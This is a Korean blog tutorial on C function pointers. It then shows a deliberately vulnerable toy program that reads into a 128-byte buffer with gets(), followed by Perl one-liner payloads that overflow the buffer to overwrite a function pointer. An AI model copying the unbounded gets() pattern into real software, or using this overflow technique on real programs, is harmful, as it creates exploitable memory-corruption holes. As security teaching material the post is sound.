/*
 http://sosal.tistory.com/
 * made by so_Sal
 */


함수포인터를 블로그에 정리한적이 없었네요..
이번기회에 함수포인터도 정리할겸~~ 포스팅합니다.

배열의 이름이 배열이 메모리의 어떤 공간에 저장되어있는지를 가리키듯,
함수의 이름은 함수의 내용이 메모리 어디에 적재되었는지 포인터가 되어
가리키고 있는것입니다. 주로 윈도우에서 DLL을 로드할 때, 함수포인터를 사용합니다.

#include<stdio.h>

int foo(){  //func1 foo()
    printf("foo - function1\n");
    return 1;
}

int boo(){ //func2 boo()
    printf("boo - function2\n");
    return 2;
}

int main(){
    int value;
    int (*function_ptr)(); //매개변수가 있다면, (*func_ptr)(int a,int b); 이런형식으로 선언

    function_ptr = foo;       //foo의 주소를 가져옴
    printf("function_ptr :: 0x%08x\n",function_ptr);
    value = function_ptr(); //foo 함수 실행
    printf("return value is :: %d\n\n",value);

    function_ptr = boo;      //boo의 주소를 가져옴
    printf("function_ptr :: 0x%08x\n",function_ptr);
    value = function_ptr(); //boo 함수 실행
    printf("return value is :: %d\n\n",value);
    return 0;
}






그럼, bof와 함께 함수포인터를 응용해봅시다!

#include<stdio.h>

int foo(){
    printf("Success!");
    return 1;
}
int boo(){
    printf("fail..");
    return 2;
}
int main(){
    int value;
    int (*function_ptr)();
    function_ptr = boo; //원래 boo함수의 fail.. 출력

    printf("%x %x\n",foo,boo);

    char buffer[128]; //우리의 목적은 이 buffer를 이용해서
                             //function_ptr이 가리키는 함수(boo)를 foo()로 바꾸는것!

    gets(buffer);
    printf("(foo) ptr : %x\n",function_ptr);

    value = function_ptr();
    return 0;
}

boo()함수가 기본적으로 실행되는 코드입니다.
gets(buffer); 이부분에서 글자수 제한없이 입력을 받기 때문에
function_ptr 변수를 사용자 마음대로 변경할 수 있습니다.
일단 실행해본 결과입니다.



스택크기를 적절하게 확인하기 위해 gdb를 이용해서 디스어셈!



사실 스택크기가 0xa4인건 알 필요가 없죠.
예측하건데 128 크기 + 더미 4나 16정도가 들어갈거라 예상하고, 직접 값을 때려보니
function_ptr의 위치를 금방 알 수 있었습니다. (사실 문제에서 출력하는 루틴을 만들었기 때문에..)

(perl -e 'print "\x80"x132,"\x04\x03\x02\x01"')  |  ./func_ptr


문제에서 foo()의 주소도 알려주고 있어서 바로 주소를 대입하면 success가 뜨겠지만,
foo()함수의 이름만 알고있다 가정하고 주소를 얻는과정을 열어보겠습니다.





(perl -e 'print "\x80"x132,"\xe4\x83\x04\x08"') | ./func_ptr


//참고자료
해킹 공격의 예술 (에이콘 출판)
리눅스 man-page
Posted by sosal sosal

댓글을 달아 주세요